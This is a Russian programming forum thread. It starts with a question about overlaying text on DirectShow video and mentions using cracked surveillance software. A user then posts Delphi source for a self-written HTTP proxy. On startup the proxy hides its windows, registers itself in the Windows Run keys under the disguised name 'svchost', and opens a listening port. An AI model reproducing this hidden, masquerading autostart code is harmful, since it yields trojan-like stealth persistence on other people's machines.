Работа с видеонаблюдением

[RuVarez]

Хорошо я уже нашел крякнутую (без ДЕМО). А как накладывать текст на видеопоток?

[raxp]

...глянь на примеры ...для DirectShow:
1- преобразовать текст в картинку, получить контекст на нее
2- при построении графа ввести в цепочку IVMRMixerBitmap
3- наложить через SetAlphaBitmap
...

[RuVarez]

А пример не можеш написать?

[raxp]

...знаешь сказку "двое из ларца" ?

[RuVarez]

Ну пожалуйста или обясни поподробней! Я использование читал но так и не понял))

[victor5]

Raxp, как мне можно с Вами по общаться, мне нужен Вас совет. Иожно или через ICQку хотя б, я поповоду "http://programmersforum.ru/showthread.php?t=78255&highlight=tI dMappedPortTCP
.вот делал когда-то прокси-сервис на основе TIdMappedPortTCP для людей у которы", мне нужна ВАша помощь в решении проблемы:
Пожалуйста помоги! Просто у нас в домашней сети из 5 компов на одном только есть выход в инет, я на него хотел поставить самописный проксисервер написанный на Делфи (всегда стараюсь использовать написанные самому проги и откомпелированные на Делфях), конектись на открытый порт проксей на данном удаленном компе и выходить в инет QIP. Удачно использующий проксив браузерах Opera и скачки файлов не подходит для QIP, QIP не хотит через него конектиться в сеть:unit Main;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Sockets, APSockEng, StdCtrls, ComCtrls, registry;

type
TForm1 = class(TForm)
TcpServer1: TTcpServer;
Label1: TLabel;
Edit1: TEdit;
RichEdit1: TRichEdit;
Button1: TButton;
Label2: TLabel;
CheckBox1: TCheckBox;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormPaint(Sender: TObject);
private
public
HTTPPRoxy: THTTPPRoxy;
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
HTTPPRoxy:=THTTPPRoxy.Create(self);
HTTPPRoxy.Port:=StrToInt(Edit1.Text );
HTTPPRoxy.Open;
Button1.Enabled:=false;
Button2.Enabled:=true;
end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if CheckBox1.Checked
then Form1.FormStyle:=fsStayOnTop
else Form1.FormStyle:=fsNormal;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
HTTPPRoxy.Close;
Button1.Enabled:=true;
Button2.Enabled:=false;
end;

procedure TForm1.FormCreate(Sender: TObject);
var reg:tregistry;prog:string;
begin
Showwindow(handle,SW_HIDE);
Showwindow(Application.handle,SW_HI DE);
prog:=application.ExeName;
reg:=tregistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey(’\SOFTWARE\Microsoft\Wi ndows\CurrentVersion\run’,true) then
begin
reg.WriteString(’svchost’,prog);
reg.CloseKey;
end;
reg.Free;

Showwindow(handle,SW_HIDE);
Showwindow(Application.handle,SW_HI DE);
prog:=application.ExeName;
reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
if reg.OpenKey(’\Software\Microsoft\Wi ndows\CurrentVersion\run’,true) then
begin
reg.WriteString(’svchost’,prog);
reg.CloseKey;
end;
reg.Free;
//————————————————–
HTTPPRoxy:=THTTPPRoxy.Create(self);
HTTPPRoxy.Port:=StrToInt(Edit1.Text );
HTTPPRoxy.Open;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
HTTPPRoxy.Close;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
form1.hide;
end;

end.

[ex.cluz]

victor5, один вопрос - одна тема. Если создадите тему, соответсвующую по названию вашей проблеме, то вам обязательно ответят. Если будете продолжать постить в этой своими проблемами, то можете получить штраф.